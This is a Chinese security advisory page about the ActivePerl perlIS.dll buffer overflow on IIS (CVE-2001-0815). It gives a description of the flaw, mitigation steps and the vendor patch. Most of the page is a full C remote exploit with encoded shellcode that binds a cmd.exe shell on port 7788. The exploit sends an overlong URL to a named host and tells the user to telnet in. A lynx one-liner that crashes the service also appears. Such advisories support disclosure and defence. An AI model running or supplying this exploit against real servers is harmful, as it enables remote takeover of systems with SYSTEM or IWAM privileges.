首页 -> 安全研究

安全研究

安全漏洞
ActivePerl PerlIS.dll 远程缓冲区溢出漏洞

发布日期:2001-11-28
更新日期:2001-11-28

受影响系统:
Activestate ActivePerl 5.6.1.629 以及更低版本
- Microsoft Windows IIS 4.0
- Microsoft Windows IIS 5.0
不受影响系统:
Activestate ActivePerl 5.6.1.630
- Microsoft Windows IIS 4.0
- Microsoft Windows IIS 5.0
描述:
BUGTRAQ  ID: 3526
CVE(CAN) ID: CVE-2001-0815

NSFOCUS安全小组发现ActivePerl所带的一个动态链接库(perlIS.dll)在处理超长文件名时存在一个缓冲区溢出漏洞,攻击者可能利用这个漏洞远程执行任意代码。

ActivePerl 是ActiveState公司开发的一套二进制perl软件包,可应用于Linux、Solaris、Windows系统下。ActivePerl for windows包含一个名为perlIS.dll的动态链接库文件,它是一个ISAPI扩展,为微软IIS服务器提供了一个高性能的perl接口。

PerlIS可以对用户发送的perl脚本请求进行处理,然而,它没有正确检查用户提交的URL请求的长度。如果用户发送一个超长的URL请求,PerlIS会调用strcpy()将其拷贝到一个堆栈中的缓冲区里,这会触发一个缓冲区溢出。攻击者可以覆盖堆栈中的一些敏感数据,例如返回地址等等,如果精心构造URL请求的内容,攻击者就可以远程执行任意代码。

成功地利用这个漏洞,在IIS 5.0中,攻击者可以获取IWAM_machinename用户的权限。在IIS 4.0中,攻击者可以获取Local SYSTEM权限。

<*来源:Nsfocus Security Team (security@nsfocus.com)
  链接:http://www.nsfocus.net/index.php?act=advisory&do=view&adv_id=19
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Nsfocus Security Team (security@nsfocus.com)提供了如下测试代码:

$ lynx http://host/cgi-bin/`perl -e 'print "A" x 360'`.pl

The remote procedure call failed.

isno <isno@xfocus.org>提供了如下测试代码:

/*
ActivePerl PerlIS.dll buffer overflow exploit
the hole found by NSFOCUS
exploit code by isno@xfocus.org
http://xfocus.org
tested on win2k+sp0+Activestate ActivePerl 5.6.1.629
----------------------------------------------------------
| ... ... ... | EIP | ... ... ... |     SEH     | ... ...
----------------------------------------------------------
|_buffer                          |jmpfwd|callebx|findecb
*/
#include <windows.h>
#include <winsock.h>
#include <stdio.h>

#pragma comment (lib,"Ws2_32")

//define the PERL ISAPI name, maybe ".cgi?"
#define CGINAME ".pl?"

//shellcode spawns a cmd.exe shell on port 7788
//suit all WIN2K/NT system
unsigned char shellcode[] =
"\x90\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90"
"\x90\x8b\xc5\x33\xc9\x66\xb9\x10\x03\x50\x80\x30\x97\x40\xe2\xfa"
"\x7e\x8e\x95\x97\x97\xcd\x1c\x4d\x14\x7c\x90\xfd\x68\xc4\xf3\x36"
"\x97\x97\x97\x97\xc7\xf3\x1e\xb2\x97\x97\x97\x97\xa4\x4c\x2c\x97"
"\x97\x77\xe0\x7f\x4b\x96\x97\x97\x16\x6c\x97\x97\x68\x28\x98\x14"
"\x59\x96\x97\x97\x16\x54\x97\x97\x96\x97\xf1\x16\xac\xda\xcd\xe2"
"\x70\xa4\x57\x1c\xd4\xab\x94\x54\xf1\x16\xaf\xc7\xd2\xe2\x4e\x14"
"\x57\xef\x1c\xa7\x94\x64\x1c\xd9\x9b\x94\x5c\x16\xae\xdc\xd2\xc5"
"\xd9\xe2\x52\x16\xee\x93\xd2\xdb\xa4\xa5\xe2\x2b\xa4\x68\x1c\xd1"
"\xb7\x94\x54\x1c\x5c\x94\x9f\x16\xae\xd0\xf2\xe3\xc7\xe2\x9e\x16"
"\xee\x93\xe5\xf8\xf4\xd6\xe3\x91\xd0\x14\x57\x93\x7c\x72\x94\x68"
"\x94\x6c\x1c\xc1\xb3\x94\x6d\xa4\x45\xf1\x1c\x80\x1c\x6d\x1c\xd1"
"\x87\xdf\x94\x6f\xa4\x5e\x1c\x58\x94\x5e\x94\x5e\x94\xd9\x8b\x94"
"\x5c\x1c\xae\x94\x6c\x7e\xfe\x96\x97\x97\xc9\x10\x60\x1c\x40\xa4"
"\x57\x60\x47\x1c\x5f\x65\x38\x1e\xa5\x1a\xd5\x9f\xc5\xc7\xc4\x68"
"\x85\xcd\x1e\xd5\x93\x1a\xe5\x82\xc5\xc1\x68\xc5\x93\xcd\xa4\x57"
"\x3b\x13\x57\xe2\x6e\xa4\x5e\x1d\x99\x13\x5e\xe3\x9e\xc5\xc1\xc4"
"\x68\x85\xcd\x3c\x75\x7f\xd1\xc5\xc1\x68\xc5\x93\xcd\x1c\x4f\xa4"
"\x57\x3b\x13\x57\xe2\x6e\xa4\x5e\x1d\x99\x17\x6e\x95\xe3\x9e\xc5"
"\xc1\xc4\x68\x85\xcd\x3c\x75\x70\xa4\x57\xc7\xd7\xc7\xd7\xc7\x68"
"\xc0\x7f\x04\xfd\x87\xc1\xc4\x68\xc0\x7b\xfd\x95\xc4\x68\xc0\x67"
"\xa4\x57\xc0\xc7\x27\x9b\x3c\xcf\x3c\xd7\x3c\xc8\xdf\xc7\xc0\xc1"
"\x3a\xc1\x68\xc0\x57\xdf\xc7\xc0\x3a\xc1\x3a\xc1\x68\xc0\x57\xdf"
"\x27\xd3\x1e\x90\xc0\x68\xc0\x53\xa4\x57\x1c\xd1\x63\x1e\xd0\xab"
"\x1e\xd0\xd7\x1c\x91\x1e\xd0\xaf\xa4\x57\xf1\x2f\x96\x96\x1e\xd0"
"\xbb\xc0\xc0\xa4\x57\xc7\xc7\xc7\xd7\xc7\xdf\xc7\xc7\x3a\xc1\xa4"
"\x57\xc7\x68\xc0\x5f\x68\xe1\x67\x68\xc0\x5b\x68\xe1\x6b\x68\xc0"
"\x5b\xdf\xc7\xc7\xc4\x68\xc0\x63\x1c\x4f\xa4\x57\x23\x93\xc7\x56"
"\x7f\x93\xc7\x68\xc0\x43\x1c\x67\xa4\x57\x1c\x5f\x22\x93\xc7\xc7"
"\xc0\xc6\xc1\x68\xe0\x3f\x68\xc0\x47\x14\xa8\x96\xeb\xb5\xa4\x57"
"\xc7\xc0\x68\xa0\xc1\x68\xe0\x3f\x68\xc0\x4b\x9c\x57\xe3\xb8\xa4"
"\x57\xc7\x68\xa0\xc1\xc4\x68\xc0\x6f\xfd\xc7\x68\xc0\x77\x7c\x5f"
"\xa4\x57\xc7\x23\x93\xc7\xc1\xc4\x68\xc0\x6b\xc0\xa4\x5e\xc6\xc7"
"\xc1\x68\xe0\x3b\x68\xc0\x4f\xfd\xc7\x68\xc0\x77\x7c\x3d\xc7\x68"
"\xc0\x73\x7c\x69\xcf\xc7\x1e\xd5\x65\x54\x1c\xd3\xb3\x9b\x92\x2f"
"\x97\x97\x97\x50\x97\xef\xc1\xa3\x85\xa4\x57\x54\x7c\x7b\x7f\x75"
"\x6a\x68\x68\x7f\x05\x69\x68\x68\xdc\xc1\x70\xe0\xb4\x17\x70\xe0"
"\xdb\xf8\xf6\xf3\xdb\xfe\xf5\xe5\xf6\xe5\xee\xd6\x97\xdc\xd2\xc5"
"\xd9\xd2\xdb\xa4\xa5\x97\xd4\xe5\xf2\xf6\xe3\xf2\xc7\xfe\xe7\xf2"
"\x97\xd0\xf2\xe3\xc4\xe3\xf6\xe5\xe3\xe2\xe7\xde\xf9\xf1\xf8\xd6"
"\x97\xd4\xe5\xf2\xf6\xe3\xf2\xc7\xe5\xf8\xf4\xf2\xe4\xe4\xd6\x97"
"\xd4\xfb\xf8\xe4\xf2\xdf\xf6\xf9\xf3\xfb\xf2\x97\xc7\xf2\xf2\xfc"
"\xd9\xf6\xfa\xf2\xf3\xc7\xfe\xe7\xf2\x97\xd0\xfb\xf8\xf5\xf6\xfb"
"\xd6\xfb\xfb\xf8\xf4\x97\xc0\xe5\xfe\xe3\xf2\xd1\xfe\xfb\xf2\x97"
"\xc5\xf2\xf6\xf3\xd1\xfe\xfb\xf2\x97\xc4\xfb\xf2\xf2\xe7\x97\xd2"
"\xef\xfe\xe3\xc7\xe5\xf8\xf4\xf2\xe4\xe4\x97\x97\xc0\xc4\xd8\xd4"
"\xdc\xa4\xa5\x97\xe4\xf8\xf4\xfc\xf2\xe3\x97\xf5\xfe\xf9\xf3\x97"
"\xfb\xfe\xe4\xe3\xf2\xf9\x97\xf6\xf4\xf4\xf2\xe7\xe3\x97\xe4\xf2"
"\xf9\xf3\x97\xe5\xf2\xf4\xe1\x97\x95\x97\x89\xfb\x97\x97\x97\x97"
"\x97\x97\x97\x97\x97\x97\x97\x97\xf4\xfa\xf3\xb9\xf2\xef\xf2\x97"
"\x68\x68\x68\x68";

/*
jump to ECB->QUERY_STRING
sub ebx,394h
mov esp,ebx
pop eax
add eax,64h
mov esp,eax
pop eax
push eax
ret
*/
//the code must suit the URL encoding,
//for this reason,many ASM code cannot be used,
//it is really difficult to work out thiz
unsigned char findecb[]=
"\x90\x83\xeb\x7e\x90\x83\xeb\x7e\x90\x83\xeb\x7e\x90\x83\xeb\x7e"
"\x90\x83\xeb\x7e\x90\x83\xeb\x7e\x90\x83\xeb\x50\x90\x83\xeb\x50"
"\x90\x8b\xe3\x90\x90\x90\x90\x90\x58\x83\xc0\x64\x90\x8b\xe0\x90"
"\x90\x90\x90\x90\x58\x50\xc3";

//call ebx must suit URL encoding too
//common jmpebx&callebx cannot be used
unsigned char callebx0[]="\x33\x45\xaa\x77";
unsigned char callebx2[]="\x61\x62\x55\x88";
unsigned char jmpforward[]="\xeb\x06";

void usage(char *pgm);

int main(int argc, char *argv[])
{
    unsigned char buff[4096];
    unsigned char sendbuff[4096];

    int shellcodelen;
    int i,s;
    int sptype = 0;
    unsigned short int webport = 80;
        
    struct hostent *ht;
    struct sockaddr_in sin;

    WSADATA WSAData;
    if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0)
    {
        printf("WSAStartup failed.\n");
        WSACleanup();
        exit(1);
    }

    if(argc < 2 || argc > 3)
    {
        usage(argv[0]);
    }
    if(argc == 3)
        sptype = atoi(argv[2]);
    if((ht = gethostbyname(argv[1])) == 0)
    {
        printf("Unable to resolve host %s\n",argv[1]);
        exit(1);
    }  

    sin.sin_port = htons(webport);
    shellcodelen=strlen(shellcode);

    memset(buff,0x90,sizeof(buff));
    memcpy(buff,"/cgi-bin/",9);
    memcpy(buff+404-4,jmpforward,2);
    if(sptype == 0)
        memcpy(buff+404,callebx0,4);
    else
        memcpy(buff+404,callebx2,4);
    memcpy(buff+404+4,findecb,strlen(findecb));
    memcpy(buff+404+4+64,CGINAME,strlen(CGINAME));
    memcpy(buff+404+4+64+strlen(CGINAME),shellcode,shellcodelen+1);

    memset(sendbuff,0,4096);
    _snprintf(sendbuff,4096,"GET %s HTTP/1.0\r\n\r\n",buff);
    sin.sin_family = AF_INET;
    sin.sin_addr = *((struct in_addr *)ht->h_addr);
    if((s = socket(AF_INET, SOCK_STREAM, 0)) == -1)
    {
        printf("Unable to set up socket\n");
        exit(1);
    }        
    if((connect(s, (struct sockaddr *) &sin, sizeof(sin))) == -1)
    {
        printf("Unable to connect\n");
        exit(1);
    }
    else
        printf("Connected...\n");
    Sleep(1000);
    printf("send shellcode...\n");
    if(send(s, sendbuff, strlen(sendbuff), 0) == -1)
    {
        printf("Unable to send\n");
        exit(1);
    }
    Sleep(1000);
    i=1;
    ioctlsocket(s,FIONBIO,&i);
    memset(sendbuff,0,sizeof(sendbuff));
    recv(s,sendbuff,1024,0);
    if(strstr(sendbuff,"404")!=NULL)
    {
        printf("the target is not vulnerable\n");
        closesocket(s);
        return 1;
    }
    closesocket(s);
    printf("all done!\nyou can telnet %s 7788\n",argv[1]);

    return 0;
}

void usage(char *pgm)
{
    printf("Usage: %s <hostname> [SP]\n", pgm);
    printf("  SP: Service Pack (0 or 2, default is 0)\n");
    printf("example: %s 127.0.0.1 2\n", pgm);
    exit(1);
}

建议:
临时解决方法:

我们建议用户按照参考如下步骤消除漏洞(以IIS 4.0为例):

1. 打开Internet 服务管理器
2. 右击你的服务器(例如 "* nsfocus"),在菜单中选择"属性"栏
3. 选择"主属性"
4. 选择 WWW 服务 | 编辑 | 主目录 | 配置
5. 在扩展名列表中找到对应perlIS.dll的项(通常映射到".pl"或".cgi")
6. 点击"配置",然后点击"检查文件是否存在"选项
7. 保存设置,然后重启IIS服务。

厂商补丁:

ActiveState公司已经在build 630中修复此安全问题。

您可以在下列地址下载ActivePerl的最新版本:

http://www.activestate.com/Products/ActivePerl/download.plex

浏览次数:5113
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障